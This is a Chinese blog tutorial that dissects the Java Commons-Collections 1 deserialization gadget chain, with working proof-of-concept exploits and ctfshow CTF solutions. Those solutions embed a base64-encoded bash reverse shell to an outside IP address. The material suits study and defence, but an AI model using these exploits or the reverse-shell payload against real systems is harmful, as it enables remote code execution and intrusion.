目录

  1. 1. 前言
  2. 2. 准备
  3. 3. 利用环境
  4. 4. 简化demo
    1. 4.1. 分析
    2. 4.2. Transformer 接口
      1. 4.2.1. ConstantTransformer
      2. 4.2.2. ChainedTransformer
      3. 4.2.3. 核心——InvokerTransformer
      4. 4.2.4. TransformedMap
    3. 4.3. setValue
    4. 4.4. 流程
  5. 5. 构造可利用的序列化对象poc
    1. 5.1. AnnotationInvocationHandler
    2. 5.2. 反射调用
    3. 5.3. 利用注解进setValue
    4. 5.4. 最终poc
    5. 5.5. Gadget
  6. 6. ysoserial上的cc1
    1. 6.1. LazyMap
    2. 6.2. 构造利用链
    3. 6.3. 最终poc
  7. 7. 高版本修复
  8. 8. 实战
    1. 8.1. ctfshow web847
    2. 8.2. ctfshow web848

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CC1链

2023/9/28 Web Java 反序列化
  |     |   总文章阅读量:

前言

连一刻也没有为放假的到来欣喜,立刻加入战场的是——CommonsCollections1链!

https://boogipop.com/2023/03/02/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%A0%94%E7%A9%B6/#1X2-1-CC1

https://ph0ebus.cn/post/Java%E5%AE%89%E5%85%A8%E4%B9%8BCommonsCollections1%E9%93%BE.html

https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE

以及p神的《java安全漫谈》

调试环境:

IDEA + jdk8u65(注:国内的Oracle下载jdk8u65被重定向到111版本了,建议用国外的Oracle下)

先上一张cc链总结的图,来自:https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20220407-cc_analysis.html#%E6%80%BB%E7%BB%93

image-20240517165453335


准备

CC链全称CommonsCollections(Java常用的一个库)

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>maven</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

    <properties>
        <maven.compiler.source>7</maven.compiler.source>
        <maven.compiler.target>7</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

</project>

其实调试的话建议参考boogipop的方法,去下载对应版本的java源码,这里是sun包复制到jdk的src里,最后在Project Struct里添加一下src路径,这样调试的时候就不是反编译的 class 而是原始的 java 文件了

利用环境

调用了 commons-collections 库

简化demo

p牛的极简payload

package com.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"C:\\Windows\\System32\\calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

分析

稍微看一下p牛的demo或者ysoserial的cc1都可以发现,cc1链会涉及到以下的接口和类

下一个断点调试一下

tips: ctrl+alt+B 可以查看实现接口的类

Transformer 接口

public interface Transformer {
    Object transform(Object var1);
}

它只有一个待实现的transform方法,也是下面几个方法的基础,这个过程就类似在调用⼀个”回调函数“,这个回调的参数是原始对象

ConstantTransformer

image-20240321193851300

这是一个实现了 Transformer 接口的一个类,在构造函数的时候传入一个对象,并在 transform 方法将这个对象再返回

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

作用是包装任意一个对象,在执行回调时返回这个对象


ChainedTransformer

把内部的多个 Transformer 串在一起,即形成调用链

同样是实现了 Transformer 接口的类,作用是把内部的多个 Transformer 串在一起,即上一个回调返回的结果会作为下一个回调的参数传入

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

核心——InvokerTransformer

执行任意方法

Invoke,这就不用多说了,实现了 Transformer 接口的类,能够执行任意方法,也是反序列化执行任意代码的关键

image-20240321194559667

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

三个参数,第⼀个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表

下面回调的 transform 方法,就是执行了 input 对象的 iMethodName 方法

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        }

接下来我们尝试通过调用这个类来命令执行:

package com.example.cc1;

import org.apache.commons.collections.functors.InvokerTransformer;
//import java.lang.reflect.Method;

public class invokeTest {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
//        通过反射进行命令执行的方式
//        Class c = Runtime.class;
//        Method method = c.getDeclaredMethod("exec", String.class);
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(runtime);
    }
}

根据构造方法构造 exp,因为是 public 的方法,这里无需反射

注意这里最后一句是invokerTransformer.transform(runtime);,所以我们接下来要找调用transform 方法的不同名函数

tips: ctrl+alt+shift+f7可以查询这个方法所有的用法

image-20240901192751373

最后选择checkSetValue,然后跟valueTransformer,在 TransformedMap 的构造方法里面发现调用

image-20240901192937945

TransformedMap

TransformedMap 用于对 Java 标准数据结构 Map 做一个修饰,被修饰过的 Map 在添加新的元素时,将可以执行一个回调(这里不是指传统的回调函数,而是一个实现了 Transformer 接口的类)

因为构造方法作用域是 protected ,接下来要找调用了 TransformedMap 的构造方法,最终在decorate()中找到

image-20240321191723816

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

其中,keyTransformer 是处理新元素的Key的回调,valueTransformer 是处理新元素的value的回调

image-20240321192949310

下面这一段就是展示了如何调用decorate

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); 
HashMap<Object, Object> hashMap = new HashMap<>();  
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

setValue

至此,decorate 的链子走到头了,我们需要回到checkSetValue重新找链子,继续查找用法

image-20240901225543298

进去发现parent.checkSetValue(value);这里是个抽象类,是TransformedMap 的父类

可以看到调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry

setValue() 实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作,跟一下setValue(Object value)就会发现

image-20240901230202778

只需要是个 Map 就能触发

所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue

调试一下,测试遍历 Map 时会不会进 setValue:

package com.example.cc1;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;
public class setValueTest {
    public static void main(String[] args) {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
        hashMap.put("key", "value");
        Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
        for (Map.Entry entry:decorateMap.entrySet()){
            entry.setValue(runtime);
        }
    }
}

image-20240901231729658

果然进了,而且弹计算器了,说明成功从这里进 checkSetValue 了

那么剩下的问题就是找到一个 readObject() 里面有调用 setValue()


流程

回到demo

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\Windows\\System32\\calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

这里创建了一个 ChainedTransformer ,其中包含两个 Transformer:

第一个是ConstantTransformer,返回当前环境的Runtime对象

第二个是InvokerTransformer,执行Runtime对象的exec方法,即命令执行

在 transformerChain 执行回调之后,我们需要用其来包装 innerMap ,即前面提的TransformedMap.decorate

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后向 Map 中放入一个元素触发回调

outerMap.put("test", "xxxx");

构造可利用的序列化对象poc

前面构造了一个简单的demo,现在我们要结合反射机制构造出一个真正可用的poc

我们在前面说过,触发这个漏洞的核心在于向Map加入一个新的元素,我们的链子是利用TransformedMap,国外的cc1链是用Lazymap的,不过这两种方法都差不多

在demo中,我们是手工执行outerMap.put("test", "xxxx"); 来触发漏洞,而在实际的反序列化中,我们需要找到一个类,在其反序列化的 readObject 逻辑里有类似的写入操作

AnnotationInvocationHandler

在 Map 里的 setValue 处查找用法,可以找到我们的目标类

这个类是sun.reflect.annotation.AnnotationInvocationHandler,看一下它的 readobject 方法(jdk8u71前)(可以在github上看一下对应源码)

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
            }
        }
    }
}

根据我们上面说的写入Map,那么对应的核心逻辑就是Map.Entry<String, Object> memberValue : memberValues.entrySet()memberValue.setValue

memberValues 是反序列化后得到的Map,即肯定是经过 TransformedMap 修饰的对象,遍历元素调用 setValue 设置值时就会触发 TransformedMap 里注册的 Transform,从而进到我们的链子中

所以我们的poc需要创建一个 AnnotationInvocationHandler 对象,并将前面 innerMap 的 HashMap 设置进来

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

前面分析AnnotationInvocationHandler源码的时候我们知道这是一个private类,不能直接使用new来实例化,因此我们需要用反射来获取它的构造方法,并且设置成外部可见的,再次调用就可以实例化了,而为什么用Retention.class呢,下面会提到

反射调用

上面构造的AnnotationInvocationHandler对象是我们反序列化利用链的起点,那么就来生成序列化流

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

注意:只有实现了java.io.Serializable接口的对象才支持序列化

而之前传给ConstantTransformer的Runtime.getRuntime()类是没有实现这个接口的,所以我们需要通过反射来获取当前上下文的 Runtime 对象,从而避免直接使用这个类:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("C:\\Windows\\System32\\calc.exe")

拼进 Transformer :

Transformer[] transformers = new Transformer[] {
	new ConstantTransformer(Runtime.class),
	new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, 
    new Object[] { "getRuntime", new Class[0] }),
	new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, 
    new Object[] { null, new Object[0] }),
	new InvokerTransformer("exec", new Class[] { String.class },
	new String[] { "C:\\Windows\\System32\\calc.exe" }),
};

利用注解进setValue

上面合起来的poc:

package com.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { "C:\\Windows\\System32\\calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("test", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o =(Object) ois.readObject();
    }
}

此时执行还不能弹出计算器,我们下断点在 AnnotationInvocationHandler 的 readObject 上

image-20240323011743708

一路跟进到这里,if语句对var7进行判断,只有在其值不是null 的时候才会调用setValue

为了让var7不为null,我们需要下个断点在前面的AnnotationType.getInstancevar2.memberTypes

接下来有点懒得跟,先看看pop✌的吧(

image-20240323013145729

先说结论:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是Annotation的子类,且其中必须含有至少⼀个方法,假设方法名是X
  2. 被 TransformedMap.decorate 修饰的Map中必须有⼀个键名为 X 的元素

所以之前用到Retention.class的原因是因为 Retention 有⼀个方法,名为 value

@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
    /**
     * Returns the retention policy.
     * @return the retention policy
     */
    RetentionPolicy value();
}

然后为了满足第二个条件,我们需要给Map中放入⼀个key是value的元素

innerMap.put("value", "xxxx");

最终poc

package com.example.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "C:\\Windows\\System32\\calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o =(Object) ois.readObject();
    }
}

image-20240323013554913

Gadget

利用链:
InvokerTransformer#transform
    TransformedMap#checkSetValue
        AbstractInputCheckedMapDecorator#setValue
            AnnotationInvocationHandler#readObject
使用到的工具类辅助利用链:
ConstantTransformer
ChainedTransformer
HashMap

ysoserial上的cc1

这部分由于和前面的研究相隔有一段时间,会描述的更简单一些

public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

	public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

LazyMap

LazyMap 和 TransformedMap 都来自于 Common-Collections 库。但 LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是:TransformedMap 是在写入元素的时候执行 transform ,而 LazyMap 是在其 get 方法中执行的 factory.transform。

LazyMap,顾名思义,懒加载,在 get 找不到值的时候,它会调用factory.transform方法去获取一个值

public Object get(Object key) {
// create value for key if key is not currently in the map
	if (map.containsKey(key) == false) {
		Object value = factory.transform(key);
		map.put(key, value);
		return value;
	}
	return map.get(key);
}

相比TransformedMap,LazyMap的利用更加复杂,因为 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法中并没有直接调用到 Map 的 get 方法。但 AnnotationInvocationHandler 类的 invoke 方法有调用到 get

image-20240406012258166

而为了调用AnnotationInvocationHandler#invoke,我们需要使用到java的动态代理机制:https://c1oudfl0w0.github.io/blog/2023/07/15/Java%E4%BB%A3%E7%90%86%E6%A8%A1%E5%BC%8F/#JDK%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86

在 AnnotationInvocationHandler 类中,进行动态代理的部分就是开头两行:(这里直接用boogipop博客里的源码图比较直观)

image-20240406014322502

我们把 Annotationinvocationhandler 用 proxy 包裹,再包裹进 Map 数组,就可以调用 invoke 方法

构造利用链

在前面TransformedMap poc的基础上,先用 LazyMap 代替 TransformedMap

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后对 Annotationinvocationhandler 对象进行proxy

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
// 创建原始对象
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
// 完成 InvocationHandler 代理

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
// 调用 Proxy.newProxyInstance

代理后的对象是 proxyMap,但我们不能直接对其进行反序列化,因为我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject,所以还需要用 AnnotationInvocationHandler 对这个 proxyMap 进行包裹,这一点和前面 TransformedMap 是一样的

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

最终poc

package com.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                        handler);
        handler = (InvocationHandler)
                construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

高版本修复

jdk8u71以后,Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler的 readObject 函数:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

改动后,不再直接使用反序列化得到的Map对象,而是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去,所以后续对Map的操作都是基于这个新的LinkedHashMap对象,而我们的Map不会执行任何操作也就不能rce了

所以又产生了其它新的cc链


实战

ctfshow web847

提交ctfshow参数进行base64解码
然后进行反序列化
我是java7,使用了commons-collections 3.1的库
为了保证业务安全,我删除了nc和curl命令
下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow")); 

先试试Transformer的链子

package com.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzIvNDI4MjIgMD4mMQ==}|{base64,-d}|{bash,-i}" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
    }
}

image-20240323020654334

成功getshell

image-20240323020721167


ctfshow web848

提交ctfshow参数进行base64解码
然后进行反序列化
我是java7,使用了commons-collections 3.1的库
为了保证业务安全,我删除了nc和curl命令
甚至不准用TransformedMap类反序列化


下面是我接收参数的代码
data=new BASE64Decoder().decodeBuffer(request.getParameter("ctfshow"));

不让用 TransformedMap 链,那就用 LazyMap 链

poc:

package com.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,
                        Object[].class }, new Object[] { null, new
                        Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class
                },
                        new String[] { "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzIvNDE2NzggMD4mMQ==}|{base64,-d}|{bash,-i}" }),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                        handler);
        handler = (InvocationHandler)
                construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
    }
}